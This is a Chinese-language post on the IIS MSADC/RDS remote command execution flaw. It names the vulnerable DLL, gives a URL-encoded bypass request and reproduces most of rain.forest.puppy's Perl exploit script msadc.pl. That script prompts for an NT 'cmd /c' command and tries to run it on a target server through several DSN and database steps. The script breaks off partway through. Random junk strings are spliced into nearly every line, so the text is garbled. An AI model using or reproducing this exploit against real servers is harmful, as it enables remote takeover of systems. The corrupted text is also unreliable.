IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
ecZOX$'5 %PdYv _5 涉及程序:
MirBJL Microsoft NT server
8Gg/M%wq9U |21hY 描述:
RowiSW 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
g7LW?Ewr ^?]H$e 详细:
LP-Q'vb<= 如果你没有时间读详细内容的话,就删除:
z(X6%p0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
_%Ld
Ez 有关的安全问题就没有了。
J9=0?^v-:B JIKxY$GS 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
EM
w(%}8w })SdaZ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
X|1YGZJ 关于利用ODBC远程漏洞的描述,请参看:
!K~$-jlT @d^h/w http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm gI5nWEM0{ Q!e0Vb 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7-IeJ6,D http://www.microsoft.com/security/bulletins/MS99-025faq.asp |<
FCt-U "jc)N46 这里不再论述。
LbbQ3$@WD `DllW{l 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
~tuFjj^ Z:$b)+2:\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
xy3%z 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
b{>dOI*.} 7<o;3gR7Kj .);:K #将下面这段保存为txt文件,然后: "perl -x 文件名"
O:p649A dTQvz9 C #!perl
}/r%~cZ #
_:p_#3s$ # MSADC/RDS 'usage' (aka exploit) script
}Y ];ccT #
tRBK1h # by rain.forest.puppy
l'%R^ #
^|;4/=bbs # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R./ 6Q1 # beta test and find errors!
{1DYXKe jF_I4H use Socket; use Getopt::Std;
c+/C7C o getopts("e:vd:h:XR", \%args);
Iw7r}G I8;[DP9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F/>Pvq] rg/vxTl if (!defined $args{h} && !defined $args{R}) {
azc:C print qq~
emPm^M5/K Usage: msadc.pl -h <host> { -d <delay> -X -v }
7O^ S.( -h <host> = host you want to scan (ip or domain)
:=eUNH -d <seconds> = delay between calls, default 1 second
8vW`E_n -X = dump Index Server path table, if available
0%NI-
Zyo -v = verbose
(+ anTA= -e = external dictionary file for step 5
:Rj,'uH+h) n1(X%%2 Or a -R will resume a command session
r$Qh`[< K)\gbQ| ~; exit;}
m9cT}x&j ah9',( (! $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9G/2^PI if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!z
5d+ M if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
wu&7#![, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
qDd/wR,44 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
/mu4J|[[ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
E2kRt'~N JW'acD if (!defined $args{R}){ $ret = &has_msadc;
hP<qK Vy die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
d( g_y m* 7e[\0:Z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
j1+Y=@MA . "cmd /c ";
zL8A?G)=M $in=<STDIN>; chomp $in;
+aqo8'a $command="cmd /c " . $in ;
Kp8T;&<Iay s2=X>,kz? if (defined $args{R}) {&load; exit;}
&ru0i@?) Rj`Y X0?+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
nW'x#0- &try_btcustmr;
_ u2 kk+8NwM1 print "\nStep 2: Trying to make our own DSN...";
C~V$G}mM &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
m
kf{_!TK toJ&$HrE print "\nStep 3: Trying known DSNs...";
j)qh>y) &known_dsn;
3[Iw%% q )6+W6: print "\nStep 4: Trying known .mdbs...";
AI; =k &known_mdb;
0Jh:6F * =@pdQkR if (defined $args{e}){
t&]Mt7 print "\nStep 5: Trying dictionary of DSN names...";
E/']M~Q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
6J+ZeBk?? {?hjx+v[ print "Sorry Charley...maybe next time?\n";
0 %+k>(@R exit;
@ R Bw T :%MWbnVSC, ##############################################################################
hz<J8'U K*FAngIB sub sendraw { # ripped and modded from whisker
0+pJv0u sleep($delay); # it's a DoS on the server! At least on mine...
.9Fm>e+!C my ($pstr)=@_;
BG=_i#V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c$fM6M
} die("Socket problems\n");
Ngnjr7Q={T if(connect(S,pack "SnA4x8",2,80,$target)){
nB&